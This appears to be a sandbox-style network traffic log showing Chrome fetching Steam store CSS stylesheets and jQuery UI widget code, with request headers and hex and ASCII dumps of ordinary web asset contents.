2024-10-06 11:20:53 UTC	1378	IN	Data Raw: 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 7c 7c 20 7b 7d 3b 0a 09 65 78 69 73 74 69 6e 67 43 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 3b 0a 09 63 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6f 70 74 69 6f 6e 73 2c 20 65 6c 65 6d 65 6e 74 20 29 20 7b 0a 09 09 2f 2f 20 61 6c 6c 6f 77 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 20 77 69 74 68 6f 75 74 20 22 6e 65 77 22 20 6b 65 79 77 6f 72 64 0a 09 09 69 66 20 28 20 21 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 6e 65 77 20 63 6f 6e 73 74 72 Data Ascii: $[ namespace ] = $[ namespace ] \|\| {};existingConstructor = $[ namespace ][ name ];constructor = $[ namespace ][ name ] = function( options, element ) {// allow instantiation without "new" keywordif ( !this._createWidget ) {return new constr
2024-10-06 11:20:53 UTC	1378	IN	Data Raw: 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 5f 73 75 70 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 20 29 3b 0a 09 09 09 09 7d 2c 0a 09 09 09 09 5f 73 75 70 65 72 41 70 70 6c 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 61 72 67 73 20 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 09 7d 3b 0a 09 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 76 61 72 20 5f 5f 73 75 70 65 72 20 3d 20 74 68 69 73 2e 5f 73 75 70 65 72 Data Ascii: n() {var _super = function() {return base.prototype[ prop ].apply( this, arguments );},_superApply = function( args ) {return base.prototype[ prop ].apply( this, args );};return function() {var __super = this._super
2024-10-06 11:20:53 UTC	1378	IN	Data Raw: 20 63 68 69 6c 64 2e 70 72 6f 74 6f 74 79 70 65 3b 0a 0a 09 09 09 2f 2f 20 72 65 64 65 66 69 6e 65 20 74 68 65 20 63 68 69 6c 64 20 77 69 64 67 65 74 20 75 73 69 6e 67 20 74 68 65 20 73 61 6d 65 20 70 72 6f 74 6f 74 79 70 65 20 74 68 61 74 20 77 61 73 0a 09 09 09 2f 2f 20 6f 72 69 67 69 6e 61 6c 6c 79 20 75 73 65 64 2c 20 62 75 74 20 69 6e 68 65 72 69 74 20 66 72 6f 6d 20 74 68 65 20 6e 65 77 20 76 65 72 73 69 6f 6e 20 6f 66 20 74 68 65 20 62 61 73 65 0a 09 09 09 24 2e 77 69 64 67 65 74 28 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 73 70 61 63 65 20 2b 20 22 2e 22 20 2b 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 4e 61 6d 65 2c 20 63 6f 6e 73 74 72 75 63 74 6f 72 2c 20 63 68 69 6c 64 2e 5f 70 72 6f 74 6f 20 29 3b 0a Data Ascii: child.prototype;// redefine the child widget using the same prototype that was// originally used, but inherit from the new version of the base$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49719	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:53 UTC	564	OUT	GET /public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:53 UTC	339	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "Rc2hpzg2Ex3T" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=15073402 Expires: Sat, 29 Mar 2025 22:24:15 GMT Date: Sun, 06 Oct 2024 11:20:53 GMT Content-Length: 2646 Connection: close
2024-10-06 11:20:53 UTC	2646	IN	Data Raw: 2f 2a 0d 0a 20 46 6f 6e 74 3a 20 09 09 4d 6f 74 69 76 61 20 53 61 6e 73 0d 0a 20 55 52 4c 3a 20 09 09 68 74 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 77 6f 72 6b 66 6f 72 74 68 65 6d 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 2e 70 68 70 3f 73 6b 75 3d 54 32 39 38 32 0d 0a 20 46 6f 75 6e 64 72 79 3a 20 09 4e 69 72 61 6d 65 6b 6b 6f 0d 0a 20 46 6f 75 6e 64 72 79 3a 20 09 68 74 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 77 6f 72 6b 66 6f 72 74 68 65 6d 2e 63 6f 6d 2f 64 65 73 69 67 6e 65 72 2f 32 39 33 2f 6e 69 72 61 6d 65 6b 6b 6f 0d 0a 20 43 6f 70 79 72 69 67 68 74 3a 09 43 6f 70 79 72 69 67 68 74 20 20 32 30 31 31 20 62 79 20 52 6f 64 72 69 67 6f 20 53 61 69 61 6e 69 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 20 56 65 72 73 69 6f 6e 3a 20 09 31 Data Ascii: /* Font: Motiva Sans URL: http://www.youworkforthem.com/product.php?sku=T2982 Foundry: Niramekko Foundry: http://www.youworkforthem.com/designer/293/niramekko Copyright:Copyright 2011 by Rodrigo Saiani. All rights reserved. Version: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49723	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:53 UTC	566	OUT	GET /public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:53 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "cNFo_SNYcn7k" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 11:20:53 GMT Date: Sun, 06 Oct 2024 11:20:53 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:53 UTC	15992	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 09 2f 2a 20 53 79 73 74 65 6d 20 67 72 65 79 73 20 2a 2f 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 65 73 74 47 72 65 79 3a 20 23 44 43 44 45 44 46 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 65 72 47 72 65 79 3a 20 23 42 38 42 43 42 46 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 47 72 65 79 3a 20 23 38 42 39 32 39 41 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 47 72 65 79 3a 20 23 36 37 37 30 37 42 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 47 72 65 79 3a 20 23 33 44 34 34 35 30 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 65 72 47 72 65 79 3a 20 23 32 33 32 36 32 45 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 65 73 74 47 72 65 79 3a Data Ascii: 0000C000:root {/* System greys */--gpSystemLightestGrey: #DCDEDF;--gpSystemLighterGrey: #B8BCBF;--gpSystemLightGrey: #8B929A;--gpSystemGrey: #67707B;--gpSystemDarkGrey: #3D4450;--gpSystemDarkerGrey: #23262E;--gpSystemDarkestGrey:
2024-10-06 11:20:54 UTC	15837	IN	Data Raw: 65 6e 75 5f 70 75 6c 6c 64 6f 77 6e 5f 69 6e 64 69 63 61 74 6f 72 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 20 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 69 6d 61 67 65 73 2f 70 6f 70 75 70 73 2f 62 74 6e 5f 61 72 72 6f 77 5f 64 6f 77 6e 2e 70 6e 67 27 20 29 3b 0d 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 09 77 69 64 74 68 3a 20 39 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 34 70 78 3b 0d 0a 7d 0d 0a 23 61 64 6d 69 6e 5f 64 72 6f 70 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 Data Ascii: enu_pulldown_indicator {display: inline-block;background-image: url( 'https://store.akamai.steamstatic.com/public/shared/images/popups/btn_arrow_down.png' );vertical-align: middle;width: 9px;height: 4px;}#admin_drop { border-radius
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 73 5f 36 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 31 39 32 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 37 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 32 34 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 38 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 35 36 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 39 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 38 38 70 78 3b 0d 0a 7d 0d 0a 0d Data Ascii: s_60 {background-position: 0 -192px;}.friendPlayerLevel.lvl_plus_70 {background-position: 0 -224px;}.friendPlayerLevel.lvl_plus_80 {background-position: 0 -256px;}.friendPlayerLevel.lvl_plus_90 {background-position: 0 -288px;}
2024-10-06 11:20:54 UTC	951	IN	Data Raw: 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 36 36 63 30 66 34 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 2c 20 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 2c 20 61 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 2c 20 61 2e 70 61 67 65 62 74 6e 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 20 7b 0d 0a 09 63 75 72 73 6f 72 3a 20 64 65 66 61 75 6c 74 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 32 3b 0d 0a 7d 0d 0a 0d 0a 61 2e 70 61 67 65 6c 69 6e 6b 3a 68 6f 76 65 72 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 09 63 6f 6c 6f 72 Data Ascii: rder-color: #66c0f4;color: #fff;text-decoration: none;}.pagebtn.disabled, .pagebtn.disabled:hover, a.pagebtn.disabled, a.pagebtn.disabled:hover {cursor: default;opacity: 0.2;}a.pagelink:hover {text-decoration: underline;color
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 64 72 6f 70 64 6f 77 6e 20 2e 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 3a 68 6f 76 65 72 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 37 33 64 34 34 3b 0d 0a 7d 0d 0a 0d 0a 23 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 64 72 6f 70 64 6f 77 6e 20 2e 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 2e 61 63 74 69 76 65 5f 69 6e 62 6f 78 5f 69 74 65 6d 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 37 30 62 61 32 34 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 62 74 6e 2e 68 65 61 64 65 72 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 62 65 6c 6c 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 Data Ascii: 00004000dropdown .popup_menu_item:hover {color: #ffffff;background-color: #373d44;}#header_notification_dropdown .popup_menu_item.active_inbox_item {color: #70ba24;}.header_notification_btn.header_notification_bell {display: bloc
2024-10-06 11:20:54 UTC	12	IN	Data Raw: 66 66 66 3b 0d 0a 7d 0d 0a 2e 0d 0a Data Ascii: fff;}.
2024-10-06 11:20:54 UTC	3051	IN	Data Raw: 30 30 30 30 30 42 44 46 0d 0a 4d 6f 64 65 72 6e 42 42 53 74 79 6c 65 73 20 61 2e 62 62 5f 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 30 62 63 64 32 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 73 70 61 6e 2e 62 62 5f 73 74 72 69 6b 65 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6c 69 6e 65 2d 74 68 72 6f 75 67 68 3b 0d 0a 7d 0d 0a 0d 0a 64 69 76 2e 62 62 5f 70 75 6c 6c 71 75 6f 74 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0d 0a 7d 0d 0a 0d 0a 73 70 61 6e 2e 62 62 5f 6c 69 6e 6b 5f 68 6f 73 74 20 7b 0d 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 37 65 38 33 39 31 3b 0d 0a 09 70 61 64 64 Data Ascii: 00000BDFModernBBStyles a.bb_link { color: #80bcd2;}span.bb_strike {text-decoration: line-through;}div.bb_pullquote { font-size: 18px; font-weight: 600;}span.bb_link_host {font-size: 10px;color: #7e8391;padd
2024-10-06 11:20:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 52 47 56 79 61 58 5a 6c 5a 45 5a 79 62 32 30 67 63 33 52 53 5a 57 59 36 61 57 35 7a 64 47 46 75 59 32 56 4a 52 44 30 69 65 47 31 77 4c 6d 6c 70 5a 44 6f 35 51 30 4d 33 4d 45 55 31 4d 7a 49 78 51 7a 51 78 4d 55 55 30 4f 54 56 45 52 55 55 34 4e 45 45 31 52 54 6c 47 4d 44 59 78 52 69 49 67 63 33 52 53 5a 57 59 36 5a 47 39 6a 64 57 31 6c 62 6e 52 4a 52 44 30 69 65 47 31 77 4c 6d 52 70 5a 44 6f 35 51 30 4d 33 4d 45 55 31 4e 44 49 78 51 7a 51 78 4d 55 55 30 4f 54 56 45 52 55 55 34 4e 45 45 31 52 54 6c 47 4d 44 59 78 52 69 49 76 50 69 41 38 4c 33 4a 6b 5a 6a 70 45 5a 58 4e 6a 63 6d 6c 77 64 47 6c 76 62 6a 34 67 50 43 39 79 5a 47 59 36 55 6b 52 47 50 69 41 38 4c 33 67 36 65 47 31 77 62 57 56 30 59 54 34 67 50 44 39 34 63 47 46 6a 61 Data Ascii: 00004000RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo5Q0M3MEU1MzIxQzQxMUU0OTVERUU4NEE1RTlGMDYxRiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo5Q0M3MEU1NDIxQzQxMUU0OTVERUU4NEE1RTlGMDYxRiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja
2024-10-06 11:20:54 UTC	12	IN	Data Raw: 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 0d 0a Data Ascii: ;}.c
2024-10-06 11:20:54 UTC	4369	IN	Data Raw: 30 30 30 30 31 31 30 35 0d 0a 68 69 6e 61 5f 66 6f 6f 74 65 72 5f 6c 65 67 61 6c 5f 63 74 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 68 69 6e 61 5f 66 6f 6f 74 65 72 5f 6c 6f 67 6f 73 20 69 6d 67 20 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 39 36 70 78 3b 0d 0a 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 74 6f 70 3b 0d 0a 7d 0d 0a 0d 0a 2e 67 70 6e 61 76 3a 66 6f 63 75 73 0d 0a 7b 0d 0a 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 34 70 78 20 73 6f 6c 69 64 20 62 6c 75 65 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 32 70 78 20 69 6e 73 65 74 20 23 30 30 30 30 66 66 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 46 6f 72 20 44 61 74 65 20 70 69 63 6b 65 72 73 20 73 Data Ascii: 00001105hina_footer_legal_ctn { margin-top: 20px;}.china_footer_logos img { width: 96px; vertical-align: top;}.gpnav:focus{ outline: 4px solid blue; box-shadow: 0 0 2px inset #0000ff;}/* For Date pickers s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49721	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:53 UTC	560	OUT	GET /public/shared/css/buttons.css?v=6PFqex5UPprb&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:53 UTC	340	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "6PFqex5UPprb" Server: nginx Content-Type: text/css;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=13868663 Expires: Sat, 15 Mar 2025 23:45:16 GMT Date: Sun, 06 Oct 2024 11:20:53 GMT Content-Length: 33528 Connection: close
2024-10-06 11:20:53 UTC	16044	IN	Data Raw: 2e 62 74 6e 5f 67 72 65 65 6e 5f 77 68 69 74 65 5f 69 6e 6e 65 72 66 61 64 65 20 7b 0d 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 31 70 78 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 44 32 45 38 38 35 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 0d 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 61 34 64 30 30 37 3b 0d 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 Data Ascii: .btn_green_white_innerfade {border-radius: 2px;border: none;padding: 1px;display: inline-block;cursor: pointer;text-decoration: none !important;color: #D2E885 !important;background: #a4d007;background: -webkit-linear-grad
2024-10-06 11:20:53 UTC	16384	IN	Data Raw: 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 09 7d 0d 0a 0d 0a 09 2e 62 74 6e 76 36 5f 77 68 69 74 65 5f 74 72 61 6e 73 70 61 72 65 6e 74 20 3e 20 73 70 61 6e 20 7b 0d 0a 09 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 0d 0a 09 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 0d 0a 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 34 29 3b 0a 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 70 78 3b 09 7d 0d 0a 0d 0a 2e 62 74 6e 76 36 5f 77 68 69 74 65 5f 74 72 61 6e 73 70 61 72 65 6e 74 3a 6e 6f 74 28 2e 62 74 Data Ascii: !important;background: transparent;}.btnv6_white_transparent > span {border-radius: 2px;display: block;background: transparent;border: 1px solid rgba(255,255,255,0.4);border-radius: 2px;}.btnv6_white_transparent:not(.bt
2024-10-06 11:20:53 UTC	1100	IN	Data Raw: 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 31 36 70 78 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 69 6d 61 67 65 73 2f 62 75 74 74 6f 6e 73 2f 69 63 6f 6e 5f 64 6f 75 62 6c 65 5f 61 72 72 6f 77 73 2e 70 6e 67 27 29 3b 0d 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 5f 64 65 74 61 69 6c 73 5f 61 72 72 6f 77 2e 75 70 0d 0a 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 70 78 20 30 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 62 74 6e 5f 64 65 74 61 69 6c 73 3a 6e 6f 74 28 2e 62 74 6e 5f 64 69 73 Data Ascii: x;height: 16px;background-image:url('https://store.akamai.steamstatic.com/public/shared/images/buttons/icon_double_arrows.png');vertical-align: middle;}.btn_details_arrow.up{background-position: 0px 0px;}.btn_details:not(.btn_dis

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49720	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:53 UTC	554	OUT	GET /public/css/v6/store.css?v=z0n7Kqde-Ths&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:53 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "Rzrd3uCdRpEQ" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Sun, 06 Oct 2024 11:20:53 GMT Date: Sun, 06 Oct 2024 11:20:53 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 11:20:53 UTC	15992	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 2a 20 7b 0d 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 7d 0d 0a 0d 0a 69 6d 67 20 7b 0d 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 61 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 2e 61 3a 66 6f 63 75 73 20 7b 0d 0a 09 6f 75 74 6c 69 6e 65 3a 20 30 70 78 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 61 3a 68 6f 76 65 72 20 7b 0d 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 63 30 66 34 3b 0d 0a 7d 0d 0a 0d 0a 61 2e 6e 6f 68 6f 76 65 72 3a 68 6f 76 65 72 20 7b 0d 0a 09 74 Data Ascii: 0000C000* {padding: 0;margin: 0;}img {border: none;}a {text-decoration: none;color: #ffffff;}.a:focus {outline: 0px none;}a:hover {text-decoration: none; color: #66c0f4;}a.nohover:hover {t
